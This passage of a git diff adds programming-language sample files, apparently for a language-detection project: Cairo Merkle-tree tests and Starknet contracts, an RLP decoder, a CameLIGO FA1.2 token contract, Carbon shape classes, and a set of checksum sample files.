+        let leaves = array![0x1, 0x2, 0x3];
+
+        // [Assert] Compute merkle root.
+        let computed_root = merkle_tree.compute_root(leaf, valid_proof);
+        assert_eq!(computed_root, root, "compute valid root failed");
+
+        // [Assert] Compute merkle proof.
+        let mut input_leaves = leaves;
+        let index = 0;
+        let computed_proof = merkle_tree.compute_proof(input_leaves, index);
+        assert_eq!(computed_proof, valid_proof, "compute valid proof failed");
+
+        // [Assert] Verify a valid proof.
+        let result = merkle_tree.verify(root, leaf, valid_proof);
+        assert!(result, "verify valid proof failed");
+
+        // [Assert] Verify an invalid proof.
+        let invalid_proof = array![
+            0x2 + 1, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc
+        ]
+            .span();
+        let result = merkle_tree.verify(root, leaf, invalid_proof);
+        assert!(!result, "verify invalid proof failed");
+
+        // [Assert] Verify a valid proof with an invalid leaf.
+        let invalid_leaf = 0x1 + 1;
+        let result = merkle_tree.verify(root, invalid_leaf, valid_proof);
+        assert!(!result, "wrong result");
+    }
+}
+
+#[test]
+#[available_gas(2000000)]
+fn merkle_tree_pedersen_test() {
+    // [Setup] Merkle tree.
+    let mut merkle_tree: MerkleTree<Hasher> = MerkleTreeImpl::<_, PedersenHasherImpl>::new();
+    let root = 0x15ac9e457789ef0c56e5d559809e7336a909c14ee2511503fa7af69be1ba639;
+    let leaf = 0x1;
+    let valid_proof = array![0x2, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc]
+        .span();
+    let leaves = array![0x1, 0x2, 0x3];
+
+    // [Assert] Compute merkle root.
+    let computed_root = MerkleTreeImpl::<
+        _, PedersenHasherImpl
+    >::compute_root(ref merkle_tree, leaf, valid_proof);
+    assert_eq!(computed_root, root, "compute valid root failed");
+
+    // [Assert] Compute merkle proof.
+    let mut input_leaves = leaves;
+    let index = 0;
+    let computed_proof = MerkleTreeImpl::<
+        _, PedersenHasherImpl
+    >::compute_proof(ref merkle_tree, input_leaves, index);
+    assert_eq!(computed_proof, valid_proof, "compute valid proof failed");
+
+    // [Assert] Verify a valid proof.
+    let result = MerkleTreeImpl::<
+        _, PedersenHasherImpl
+    >::verify(ref merkle_tree, root, leaf, valid_proof);
+    assert!(result, "verify valid proof failed");
+
+    // [Assert] Verify an invalid proof.
+    let invalid_proof = array![
+        0x2 + 1, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc
+    ]
+        .span();
+    let result = MerkleTreeImpl::<
+        _, PedersenHasherImpl
+    >::verify(ref merkle_tree, root, leaf, invalid_proof);
+    assert!(!result, "verify invalid proof failed");
+
+    // [Assert] Verify a valid proof with an invalid leaf.
+    let invalid_leaf = 0x1 + 1;
+    let result = MerkleTreeImpl::<
+        _, PedersenHasherImpl
+    >::verify(ref merkle_tree, root, invalid_leaf, valid_proof);
+    assert!(!result, "wrong result");
+}
+
+#[test]
+#[available_gas(50000000000)]
+fn merkle_tree_poseidon_test() {
+    // [Setup] Merkle tree.
+    let mut merkle_tree: MerkleTree<Hasher> = MerkleTreeImpl::<_, PoseidonHasherImpl>::new();
+    let root = 0x48924a3b2a7a7b7cc1c9371357e95e322899880a6534bdfe24e96a828b9d780;
+    let leaf = 0x1;
+    let valid_proof = array![0x2, 0x338eb608d7e48306d01f5a8d4275dd85a52ba79aaf7a1a7b35808ba573c3669]
+        .span();
+    let leaves = array![0x1, 0x2, 0x3];
+
+    // [Assert] Compute merkle root.
+    let computed_root = MerkleTreeImpl::<
+        _, PoseidonHasherImpl
+    >::compute_root(ref merkle_tree, leaf, valid_proof);
+    assert_eq!(computed_root, root, "compute valid root failed");
+
+    // [Assert] Compute merkle proof.
+    let mut input_leaves = leaves;
+    let index = 0;
+    let computed_proof = MerkleTreeImpl::<
+        _, PoseidonHasherImpl
+    >::compute_proof(ref merkle_tree, input_leaves, index);
+    assert_eq!(computed_proof, valid_proof, "compute valid proof failed");
+
+    // [Assert] Verify a valid proof.
+    let result = MerkleTreeImpl::<
+        _, PoseidonHasherImpl
+    >::verify(ref merkle_tree, root, leaf, valid_proof);
+    assert!(result, "verify valid proof failed");
+
+    // [Assert] Verify an invalid proof.
+    let invalid_proof = array![
+        0x2 + 1, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc
+    ]
+        .span();
+    let result = MerkleTreeImpl::<
+        _, PoseidonHasherImpl
+    >::verify(ref merkle_tree, root, leaf, invalid_proof);
+    assert!(!result, "verify invalid proof failed");
+
+    // [Assert] Verify a valid proof with an invalid leaf.
+    let invalid_leaf = 0x1 + 1;
+    let result = MerkleTreeImpl::<
+        _, PoseidonHasherImpl
+    >::verify(ref merkle_tree, root, invalid_leaf, valid_proof);
+    assert!(!result, "wrong result");
+}
diff --git a/samples/Cairo/pizza_factory.cairo b/samples/Cairo/pizza_factory.cairo
new file mode 100644
index 0000000000..5cfd25488d
--- /dev/null
+++ b/samples/Cairo/pizza_factory.cairo
@@ -0,0 +1,96 @@
+use starknet::ContractAddress;
+
+#[starknet::interface]
+pub trait IPizzaFactory<TContractState> {
+    fn increase_pepperoni(ref self: TContractState, amount: u32);
+    fn increase_pineapple(ref self: TContractState, amount: u32);
+    fn get_owner(self: @TContractState) -> ContractAddress;
+    fn change_owner(ref self: TContractState, new_owner: ContractAddress);
+    fn make_pizza(ref self: TContractState);
+    fn count_pizza(self: @TContractState) -> u32;
+}
+
+#[starknet::contract]
+pub mod PizzaFactory {
+    use super::IPizzaFactory;
+    use starknet::ContractAddress;
+    use starknet::get_caller_address;
+
+    #[storage]
+    pub struct Storage {
+        pepperoni: u32,
+        pineapple: u32,
+        owner: ContractAddress,
+        pizzas: u32
+    }
+
+    #[constructor]
+    fn constructor(ref self: ContractState, owner: ContractAddress) {
+        self.pepperoni.write(10);
+        self.pineapple.write(10);
+        self.owner.write(owner);
+    }
+
+
+    #[event]
+    #[derive(Drop, starknet::Event)]
+    pub enum Event {
+        PizzaEmission: PizzaEmission
+    }
+
+    #[derive(Drop, starknet::Event)]
+    pub struct PizzaEmission {
+        pub counter: u32
+    }
+
+    #[abi(embed_v0)]
+    impl PizzaFactoryimpl of super::IPizzaFactory<ContractState> {
+        fn increase_pepperoni(ref self: ContractState, amount: u32) {
+            assert!(amount != 0, "Amount cannot be 0");
+            self.pepperoni.write(self.pepperoni.read() + amount);
+        }
+
+        fn increase_pineapple(ref self: ContractState, amount: u32) {
+            assert!(amount != 0, "Amount cannot be 0");
+            self.pineapple.write(self.pineapple.read() + amount);
+        }
+
+        fn make_pizza(ref self: ContractState) {
+            assert!(self.pepperoni.read() > 0, "Not enough pepperoni");
+            assert!(self.pineapple.read() > 0, "Not enough pineapple");
+
+            let caller: ContractAddress = get_caller_address();
+            let owner: ContractAddress = self.get_owner();
+
+            assert!(caller == owner, "Only the owner can make pizza");
+
+            self.pepperoni.write(self.pepperoni.read() - 1);
+            self.pineapple.write(self.pineapple.read() - 1);
+            self.pizzas.write(self.pizzas.read() + 1);
+
+            self.emit(PizzaEmission { counter: self.pizzas.read() });
+        }
+
+        fn get_owner(self: @ContractState) -> ContractAddress {
+            self.owner.read()
+        }
+
+        fn change_owner(ref self: ContractState, new_owner: ContractAddress) {
+            self.set_owner(new_owner);
+        }
+
+        fn count_pizza(self: @ContractState) -> u32 {
+            self.pizzas.read()
+        }
+    }
+
+    #[generate_trait]
+    pub impl InternalImpl of InternalTrait {
+        fn set_owner(ref self: ContractState, new_owner: ContractAddress) {
+            let caller: ContractAddress = get_caller_address();
+            assert!(caller == self.get_owner(), "Only the owner can set ownership");
+
+            self.owner.write(new_owner);
+        }
+    }
+}
diff --git a/samples/Cairo/rlp.cairo b/samples/Cairo/rlp.cairo
new file mode 100644
index 0000000000..1609c45d67
--- /dev/null
+++ b/samples/Cairo/rlp.cairo
@@ -0,0 +1,244 @@
+use cairo_lib::utils::types::words64::{Words64, Words64Trait, reverse_endianness_u64, pow2};
+use cairo_lib::utils::types::byte::Byte;
+use cairo_lib::utils::array::span_contains;
+
+// @notice Enum with all possible RLP types
+// For more info: https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/
+#[derive(Drop, PartialEq)]
+enum RLPType {
+    String: (),
+    StringShort: (),
+    StringLong: (),
+    ListShort: (),
+    ListLong: (),
+}
+
+#[generate_trait]
+impl RLPTypeImpl of RLPTypeTrait {
+    // @notice Returns RLPType from the leading byte
+    // For more info: https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/
+    // @param byte Leading byte
+    // @return Result with RLPType
+    fn from_byte(byte: Byte) -> Result<RLPType, felt252> {
+        if byte <= 0x7f {
+            Result::Ok(RLPType::String(()))
+        } else if byte <= 0xb7 {
+            Result::Ok(RLPType::StringShort(()))
+        } else if byte <= 0xbf {
+            Result::Ok(RLPType::StringLong(()))
+        } else if byte <= 0xf7 {
+            Result::Ok(RLPType::ListShort(()))
+        } else if byte <= 0xff {
+            Result::Ok(RLPType::ListLong(()))
+        } else {
+            Result::Err('Invalid byte')
+        }
+    }
+}
+
+// @notice Represent a RLP item
+#[derive(Drop, PartialEq)]
+enum RLPItem {
+    Bytes: (Words64, usize),
+    // Should be Span<RLPItem> to allow for any depth/recursion, not yet supported by the compiler
+    List: Span<(Words64, usize)>
+}
+
+// @notice RLP decodes a rlp encoded byte array
+// For more info: https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/
+// @param input RLP encoded input, in little endian 64 bits words
+// @return Result with RLPItem and size of the encoded item
+fn rlp_decode(input: Words64) -> Result<(RLPItem, usize), felt252> {
+    // It's guaranteed to fid in 32 bits, as we are masking with 0xff
+    let prefix: u32 = (*input.at(0) & 0xff).try_into().unwrap();
+
+    // It's guaranteed to be a valid RLPType, as we are masking with 0xff
+    let rlp_type = RLPTypeTrait::from_byte(prefix.try_into().unwrap()).unwrap();
+    match rlp_type {
+        RLPType::String(()) => {
+            let mut arr = array![prefix.into()];
+            Result::Ok((RLPItem::Bytes((arr.span(), 1)), 1))
+        },
+        RLPType::StringShort(()) => {
+            let len = prefix.into() - 0x80;
+            let res = input.slice_le(6, len);
+
+            Result::Ok((RLPItem::Bytes((res, len)), 1 + len))
+        },
+        RLPType::StringLong(()) => {
+            let len_len = prefix - 0xb7;
+            let len_span = input.slice_le(6, len_len);
+            // Enough to store 4.29 GB (fits in u32)
+            assert(len_span.len() == 1 && *len_span.at(0) <= 0xffffffff, 'Len of len too big');
+
+            // len fits in 32 bits, confirmed by previous assertion
+            let len: u32 = reverse_endianness_u64(*len_span.at(0), Option::Some(len_len.into()))
+                .try_into()
+                .unwrap();
+            let res = input.slice_le(6 - len_len, len);
+
+            Result::Ok((RLPItem::Bytes((res, len)), 1 + len_len + len))
+        },
+        RLPType::ListShort(()) => {
+            let mut len = prefix - 0xc0;
+            let mut in = input.slice_le(6, len);
+            let res = rlp_decode_list(ref in, len)?;
+            Result::Ok((RLPItem::List(res), 1 + len))
+        },
+        RLPType::ListLong(()) => {
+            let len_len = prefix - 0xf7;
+            let len_span = input.slice_le(6, len_len);
+            // Enough to store 4.29 GB (fits in u32)
+            assert(len_span.len() == 1 && *len_span.at(0) <= 0xffffffff, 'Len of len too big');
+
+            // len fits in 32 bits, confirmed by previous assertion
+            let len: u32 = reverse_endianness_u64(*len_span.at(0), Option::Some(len_len.into()))
+                .try_into()
+                .unwrap();
+            let mut in = input.slice_le(6 - len_len, len);
+            let res = rlp_decode_list(ref in, len)?;
+
+            Result::Ok((RLPItem::List(res), 1 + len_len + len))
+        }
+    }
+}
+
+// @notice RLP decodes into RLPItem::List
+// @param input RLP encoded input, in little endian 64 bits words
+// @param len Length of the input
+// @return Result with a span of the decoded items and the decoded size of each
+fn rlp_decode_list(ref input: Words64, len: usize) -> Result<Span<(Words64, usize)>, felt252> {
+    let mut i = 0;
+    let mut output = ArrayTrait::new();
+    let mut total_len = len;
+
+    loop {
+        if i >= len {
+            break Result::Ok(output.span());
+        }
+
+        let (decoded, decoded_len) = match rlp_decode(input) {
+            Result::Ok((d, dl)) => (d, dl),
+            Result::Err(e) => {
+                break Result::Err(e);
+            }
+        };
+        match decoded {
+            RLPItem::Bytes(b) => {
+                output.append(b);
+                let word = decoded_len / 8;
+                let reversed = 7 - (decoded_len % 8);
+                let next_start = word * 8 + reversed;
+                if (total_len - decoded_len != 0) {
+                    input = input.slice_le(next_start, total_len - decoded_len);
+                }
+                total_len -= decoded_len;
+            },
+            RLPItem::List(_) => {
+                panic_with_felt252('Recursive list not supported');
+            }
+        }
+        i += decoded_len;
+    }
+}
+
+fn rlp_decode_list_lazy(input: Words64, lazy: Span<usize>) -> Result<(RLPItem, usize), felt252> {
+    let mut output = ArrayTrait::new();
+    let mut lazy_index = 0;
+
+    let list_prefix: u32 = (*input.at(0) & 0xff).try_into().unwrap();
+    let list_type = RLPTypeTrait::from_byte(list_prefix.try_into().unwrap()).unwrap();
+    let (mut current_input_index, len) = match list_type {
+        RLPType::String(()) => {
+            return Result::Err('Not a list');
+        },
+        RLPType::StringShort(()) => {
+            return Result::Err('Not a list');
+        },
+        RLPType::StringLong(()) => {
+            return Result::Err('Not a list');
+        },
+        RLPType::ListShort(()) => (1, list_prefix - 0xc0),
+        RLPType::ListLong(()) => {
+            let len_len = list_prefix - 0xf7;
+            let len_span = input.slice_le(6, len_len);
+            // Enough to store 4.29 GB (fits in u32)
+            assert(len_span.len() == 1 && *len_span.at(0) <= 0xffffffff, 'Len of len too big');
+
+            // len fits in 32 bits, confirmed by previous assertion
+            let len = reverse_endianness_u64(*len_span.at(0), Option::Some(len_len.into()))
+                .try_into()
+                .unwrap();
+            (1 + len_len, len)
+        }
+    };
+
+    let rlp_byte_len = current_input_index + len;
+
+    loop {
+        if output.len() == lazy.len() {
+            break Result::Ok((RLPItem::List(output.span()), rlp_byte_len));
+        }
+
+        if current_input_index >= rlp_byte_len {
+            break Result::Err('Too many items to decode');
+        }
+
+        let current_word = current_input_index / 8;
+
+        let pow2_shift = pow2((current_input_index % 8) * 8);
+        let prefix = (*input.at(current_word) / pow2_shift) & 0xff;
+
+        let rlp_type = RLPTypeTrait::from_byte(prefix.try_into().unwrap()).unwrap();
+        let (item_start_skip, item_len) = match rlp_type {
+            RLPType::String(()) => {
+                (0, 1)
+            },
+            RLPType::StringShort(()) => {
+                let len = prefix - 0x80;
+                (1, len)
+            },
+            RLPType::StringLong(()) => {
+                let len_len = prefix - 0xb7;
+
+                let current_word = (current_input_index + 1) / 8;
+                let current_word_offset = 7 - ((current_input_index + 1) % 8);
+
+                let len_span = input
+                    .slice_le(current_word * 8 + current_word_offset, len_len.try_into().unwrap());
+                // Enough to store 4.29 GB (fits in u32)
+                assert(len_span.len() == 1 && *len_span.at(0) <= 0xffffffff, 'Len of len too big');
+
+                // len fits in 32 bits, confirmed by previous assertion
+                let len: u32 = reverse_endianness_u64(
+                    *len_span.at(0), Option::Some(len_len.try_into().unwrap())
+                )
+                    .try_into()
+                    .unwrap();
+
+                (1 + len_len, len.into())
+            },
+            RLPType::ListShort(()) => {
+                panic_with_felt252('Recursive list not supported')
+            },
+            RLPType::ListLong(()) => {
+                panic_with_felt252('Recursive list not supported')
+            }
+        };
+
+        current_input_index += item_start_skip.try_into().unwrap();
+        if span_contains(lazy, lazy_index) {
+            let current_word = current_input_index / 8;
+            let current_word_offset = 7 - (current_input_index % 8);
+            let start = current_word * 8 + current_word_offset;
+
+            let item_len = item_len.try_into().unwrap();
+            let decoded = input.slice_le(start, item_len);
+            output.append((decoded, item_len));
+        }
+
+        current_input_index += item_len.try_into().unwrap();
+
+        lazy_index += 1;
+    }
+}
diff --git a/samples/CameLIGO/FA1.2.mligo b/samples/CameLIGO/FA1.2.mligo
new file mode 100644
index 0000000000..8637e96707
--- /dev/null
+++ b/samples/CameLIGO/FA1.2.mligo
@@ -0,0 +1,150 @@
+(**
+   This file implements the TZIP-7 protocol (a.k.a FA1.2)
+   copyright Wulfman Corporation 2022
+*)
+
+(*
+   Errors
+*)
+module Errors = struct
+   let notEnoughBalance   = "NotEnoughBalance"
+   let notEnoughAllowance = "NotEnoughAllowance"
+   (* Extra error, see: https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit *)
+   let vulnerable_operation = "Switching allowances from N to M is a vulnerability"
+end
+
+module Allowance = struct
+   type spender        = address
+   type allowed_amount = nat
+	type t = (spender, allowed_amount) map
+
+   let get_allowed_amount (a:t) (spender:spender) =
+      match Map.find_opt spender a with
+         Some v -> v | None -> 0n
+
+   let set_allowed_amount (a:t) (spender:spender) (allowed_amount:allowed_amount) =
+      if allowed_amount > 0n then Map.add spender allowed_amount a else a
+end
+
+module Ledger = struct
+   type owner      = address
+   type spender    = address
+   type amount_    = nat
+   type t = (owner, amount_ * Allowance.t) big_map
+
+   let get_for_user (ledger:t) (owner: owner) : amount_ * Allowance.t =
+      match Big_map.find_opt owner ledger with
+         Some (tokens) -> tokens
+      |  None          -> 0n,(Map.empty : Allowance.t)
+
+   let update_for_user (ledger:t) (owner: owner) (amount_ : amount_) (allowances : Allowance.t) : t =
+      Big_map.update owner (Some (amount_,allowances)) ledger
+
+   let set_approval (ledger:t) (owner: owner) (spender : spender) (allowed_amount: amount_) =
+      let tokens,allowances = get_for_user ledger owner in
+      let previous_allowances = Allowance.get_allowed_amount allowances spender in
+      let () = assert_with_error (previous_allowances = 0n || allowed_amount = 0n) Errors.vulnerable_operation in
+      let allowances = Allowance.set_allowed_amount allowances spender allowed_amount in
+      let ledger     = update_for_user ledger owner tokens allowances in
+      ledger
+
+   let decrease_token_amount_for_user (ledger : t) (spender : spender) (from_ : owner) (amount_ : amount_) : t =
+      let tokens,allowances = get_for_user ledger from_ in
+      let allowed_amount    = if spender = from_ then tokens else
+         Allowance.get_allowed_amount allowances spender in
+      let () = assert_with_error (allowed_amount >= amount_) Errors.notEnoughAllowance in
+      let () = assert_with_error (tokens >= amount_) Errors.notEnoughBalance in
+      let tokens = abs(tokens - amount_) in
+      let ledger = update_for_user ledger from_ tokens allowances in
+      ledger
+
+   let increase_token_amount_for_user (ledger : t) (to_   : owner) (amount_ : amount_) : t =
+      let tokens,allowances = get_for_user ledger to_ in
+      let tokens = tokens + amount_ in
+      let ledger = update_for_user ledger to_ tokens allowances in
+      ledger
+end
+
+module TokenMetadata = struct
+   (**
+      This should be initialized at origination, conforming to either
+      TZIP-12 : https://gitlab.com/tezos/tzip/-/blob/master/proposals/tzip-12/tzip-12.md#token-metadata
+      or TZIP-16 : https://gitlab.com/tezos/tzip/-/blob/master/proposals/tzip-12/tzip-12.md#contract-metadata-tzip-016
+   *)
+   type data = {token_id:nat;token_info:(string,bytes)map}
+   type t = data
+end
+
+module Storage = struct
+   type t = {
+      ledger : Ledger.t;
+      token_metadata : TokenMetadata.t;
+      totalSupply : nat;
+      (* Note: memoizing the sum of all participant balance reduce the cost of getTotalSupply entrypoint.
+         However, with this pattern the value has to be manually set at origination which can lead to consistency issues.
+      *)
+   }
+
+   let get_amount_for_owner (s:t) (owner : address) =
+      let amount_,_ = Ledger.get_for_user s.ledger owner in
+      amount_
+
+   let get_allowances_for_owner (s:t) (owner : address) =
+      let _,allowances = Ledger.get_for_user s.ledger owner in
+      allowances
+
+   let get_ledger (s:t) = s.ledger
+   let set_ledger (s:t) (ledger:Ledger.t) = {s with ledger = ledger}
+
+end
+
+
+type storage = Storage.t
+
+
+(** transfer entrypoint *)
+type transfer = address * (address * nat)
+let transfer (from_,(to_,value):transfer) (s:storage) =
+   let ledger = Storage.get_ledger s in
+   let ledger = Ledger.decrease_token_amount_for_user ledger Tezos.sender from_ value in
+   let ledger = Ledger.increase_token_amount_for_user ledger to_   value in
+   let s = Storage.set_ledger s ledger in
+   ([]: operation list),s
+
+(** approve *)
+type approve = (address * nat)
+let approve (spender,value : approve) (s:storage) =
+   let ledger = Storage.get_ledger s in
+   let ledger = Ledger.set_approval ledger Tezos.sender spender value in
+   let s = Storage.set_ledger s ledger in
+   ([]: operation list),s
+
+(** getBalance entrypoint *)
+type getAllowance = (address * address) * nat contract
+let getAllowance (((owner,spender),callback): getAllowance) (s: storage) =
+   let a = Storage.get_allowances_for_owner s owner in
+   let allowed_amount = Allowance.get_allowed_amount a spender in
+   let operation = Tezos.transaction allowed_amount 0tez callback in
+   ([operation]: operation list),s
+
+(** getBalance entrypoint *)
+type getBalance = address * nat contract
+let getBalance ((owner,callback): getBalance) (s: storage) =
+   let balance_ = Storage.get_amount_for_owner s owner in
+   let operation = Tezos.transaction balance_ 0tez callback in
+   ([operation]: operation list),s
+
+(** getTotalSupply entrypoint *)
+type getTotalSupply = unit * nat contract
+let getTotalSupply ((),callback : getTotalSupply) (s:storage) =
+   let operation = Tezos.transaction s.totalSupply 0tez callback in
+   ([operation]: operation list),s
+
+
+type parameter = Transfer of transfer | Approve of approve | GetAllowance of getAllowance | GetBalance of getBalance | GetTotalSupply of getTotalSupply
+let main ((p,s):(parameter * storage)) = match p with
+   Transfer       p -> transfer       p s
+|  Approve        p -> approve        p s
+|  GetAllowance   p -> getAllowance   p s
+|  GetBalance     p -> getBalance     p s
+|  GetTotalSupply p -> getTotalSupply p s
diff --git a/samples/Carbon/Shapes.carbon b/samples/Carbon/Shapes.carbon
new file mode 100644
index 0000000000..5bac9fb3ef
--- /dev/null
+++ b/samples/Carbon/Shapes.carbon
@@ -0,0 +1,73 @@
+package Shapes api;
+import Math;
+
+// Circle
+
+class Circle {
+    var Radius: f32 = 1;
+    const var Diameter: f32 = self.Radius * 2;
+
+    const var Pi: f32 = Math.Pi;
+
+    fn Area() -> self;
+    fn Circumference() -> self;
+}
+
+fn Circle.Area() -> self {
+    return Math.Pi * .Radius ^ 2
+}
+
+fn Circle.Circumference() -> self {
+    return 2 * Math.Pi * .Radius
+}
+
+// Rectangle
+
+class Rectangle {
+    var Width: f32 = 3;
+    var Height: f32 = 1;
+
+    fn Area() -> self;
+}
+
+fn Rectangle.Area() -> self {
+    return .Width * .Height;
+}
+
+// Square (Note: Provides same functions as "Rectangle" class.)
+
+class Square {
+    var Width: f32 = 3;
+    var Height: f32 = 1;
+
+    fn Area() -> self;
+}
+
+fn Square.Area() -> self {
+    return .Width * .Height;
+}
+
+// Triangle
+
+class Triangle {
+    var Width: f32 = 3;
+    var Height: f32 = 3;
+
+    fn Area() -> self;
+}
+
+fn Triangle.Area() -> self {
+    return (.Width * .Height) / 2;
+}
+
+// Hexagon
+
+class Hexagon {
+    var Side: f32 = 5;
+
+    fn Area() -> self;
+}
+
+fn Hexagon.Area() -> self {
+    return ((3 * 1.732) / 2) * .Side ^ 2
+}
diff --git a/samples/Carbon/main.carbon b/samples/Carbon/main.carbon
new file mode 100644
index 0000000000..d5fb122034
--- /dev/null
+++ b/samples/Carbon/main.carbon
@@ -0,0 +1,16 @@
+// Part of linguist/samples
+
+import Shapes;
+import "some/graphics/library"; // This does not exist (read below)
+
+fn main() -> i32 {
+  // This sample does not show the usage of a real graphics library since there is no major usable graphics library for Carbon.
+  // As the language grows, some UI library will emerge for it and this sample can be updated.
+
+  var newGraphicRectangle: Shapes.Rectangle = {Width = 500, Height = 1250 };
+
+  var graphicsWindow: auto = Graphics.Window(newGraphicRectangle, "Window Name");
+  graphicsWindow.Show(true);
+
+  return 0;
+}
diff --git a/samples/Checksums/bsd-style.sha256 b/samples/Checksums/bsd-style.sha256
new file mode 100644
index 0000000000..f0c8099628
--- /dev/null
+++ b/samples/Checksums/bsd-style.sha256
@@ -0,0 +1,3 @@
+SHA256 (empty) = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
+SHA256 (file0) = 0000000000000000000000000000000000000000000000000000000000000000
+SHA256 (file1) = 0000000000000000000000000000000000000000000000000000000000000001
diff --git a/samples/Checksums/filenames/SHA256SUMS b/samples/Checksums/filenames/SHA256SUMS
new file mode 100644
index 0000000000..f485ee1f84
--- /dev/null
+++ b/samples/Checksums/filenames/SHA256SUMS
@@ -0,0 +1,3 @@
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 *empty_binary_file
+0000000000000000000000000000000000000000000000000000000000000000 *file0
+0000000000000000000000000000000000000000000000000000000000000001 *file1
diff --git a/samples/Checksums/filenames/SHA256SUMS.txt b/samples/Checksums/filenames/SHA256SUMS.txt
new file mode 100644
index 0000000000..f0c8099628
--- /dev/null
+++ b/samples/Checksums/filenames/SHA256SUMS.txt
@@ -0,0 +1,3 @@
+SHA256 (empty) = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
+SHA256 (file0) = 0000000000000000000000000000000000000000000000000000000000000000
+SHA256 (file1) = 0000000000000000000000000000000000000000000000000000000000000001
diff --git a/samples/Checksums/gnu-style-text.sha256 b/samples/Checksums/gnu-style-text.sha256
new file mode 100644
index 0000000000..77fff0d158
--- /dev/null
+++ b/samples/Checksums/gnu-style-text.sha256
@@ -0,0 +1 @@
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  empty_text_file
diff --git a/samples/Checksums/gnu-style.sha256 b/samples/Checksums/gnu-style.sha256
new file mode 100644
index 0000000000..f485ee1f84
--- /dev/null
+++ b/samples/Checksums/gnu-style.sha256
@@ -0,0 +1,3 @@
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 *empty_binary_file
+0000000000000000000000000000000000000000000000000000000000000000 *file0
+0000000000000000000000000000000000000000000000000000000000000001 *file1
diff --git a/samples/Checksums/single_hash.crc32 b/samples/Checksums/single_hash.crc32
new file mode 100644
index 0000000000..536e35fcfb
--- /dev/null
+++ b/samples/Checksums/single_hash.crc32
@@ -0,0 +1 @@
+ffffffff
diff --git a/samples/Checksums/single_hash.md2 b/samples/Checksums/single_hash.md2
new file mode 100644
index 0000000000..fe361f0340
--- /dev/null
+++ b/samples/Checksums/single_hash.md2
@@ -0,0 +1 @@
+8350e5a3e24c153df2275c9f80692773
diff --git a/samples/Checksums/single_hash.md4 b/samples/Checksums/single_hash.md4
new file mode 100644
index 0000000000..f5c84055ad
--- /dev/null
+++ b/samples/Checksums/single_hash.md4
@@ -0,0 +1 @@
+31d6cfe0d16ae931b73c59d7e0c089c0
diff --git a/samples/Checksums/single_hash.md5 b/samples/Checksums/single_hash.md5
new file mode 100644
index 0000000000..df9edc403d
--- /dev/null
+++ b/samples/Checksums/single_hash.md5
@@ -0,0 +1 @@
+d41d8cd98f00b204e9800998ecf8427e
diff --git a/samples/Checksums/single_hash.sha1 b/samples/Checksums/single_hash.sha1
new file mode 100644
index 0000000000..be0e2cdbdc
--- /dev/null
+++ b/samples/Checksums/single_hash.sha1
@@ -0,0 +1 @@
+da39a3ee5e6b4b0d3255bfef95601890afd80709
diff --git a/samples/Checksums/single_hash.sha224 b/samples/Checksums/single_hash.sha224
new file mode 100644
index 0000000000..6c38d98c01
--- /dev/null
+++ b/samples/Checksums/single_hash.sha224
@@ -0,0 +1 @@
+d14a028c2a3a2bc9476102bb288234c415a2b01f828ea62ac5b3e42f
diff --git a/samples/Checksums/single_hash.sha256 b/samples/Checksums/single_hash.sha256
new file mode 100644
index 0000000000..c306804026
--- /dev/null
+++ b/samples/Checksums/single_hash.sha256
@@ -0,0 +1 @@
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
diff --git a/samples/Checksums/single_hash.sha384 b/samples/Checksums/single_hash.sha384
new file mode 100644
index 0000000000..9663344e7f
--- /dev/null
+++ b/samples/Checksums/single_hash.sha384
@@ -0,0 +1 @@
+38b060a751ac96384cd9327eb1b1e36a21fdb71114be07434c0cc7bf63f6e1da274edebfe76f65fbd51ad2f14898b95b
diff --git a/samples/Checksums/single_hash.sha512 b/samples/Checksums/single_hash.sha512
new file mode 100644
index 0000000000..c2f1924ca3
--- /dev/null
+++ b/samples/Checksums/single_hash.sha512
@@ -0,0 +1 @@
+cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
diff --git a/samples/Checksums/single_hash_dec.crc32 b/samples/Checksums/single_hash_dec.crc32
new file mode 100644
index 0000000000..4f6ff861c9
--- /dev/null
+++ b/samples/Checksums/single_hash_dec.crc32
@@ -0,0 +1 @@
+4294967295
diff --git a/samples/Checksums/single_hash_no_trailing_newline.sha256 b/samples/Checksums/single_hash_no_trailing_newline.sha256
new file mode 100644
index 0000000000..293ce40fd6
--- /dev/null
+++ b/samples/Checksums/single_hash_no_trailing_newline.sha256
@@ -0,0 +1 @@
+e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
\ No newline at end of file
diff --git a/samples/Checksums/zero.sha2 b/samples/Checksums/zero.sha2
new file mode 100644
index 0000000000..cd09bbf164
--- /dev/null
+++ b/samples/Checksums/zero.sha2
@@ -0,0 +1 @@
+0000000000000000000000000000000000000000000000000000000000000000
diff --git a/samples/Checksums/zero.sha3 b/samples/Checksums/zero.sha3
new file mode 100644
index 0000000000..e24f633b73
--- /dev/null
+++ b/samples/Checksums/zero.sha3
@@ -0,0 +1 @@
+00000000000000000000000000000000000000000000000000000000
diff --git a/samples/Circom/binsum.circom b/samples/Circom/binsum.circom
new file mode 100644
index 0000000000..32c986c489
--- /dev/null
+++ b/samples/Circom/binsum.circom
@@ -0,0 +1,101 @@
+/*
+    Copyright 2018 0KIMS association.
+
+    This file is part of circom (Zero Knowledge Circuit Compiler).
+
+    circom is a free software: you can redistribute it and/or modify it
+    under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    circom is distributed in the hope that it will be useful, but WITHOUT
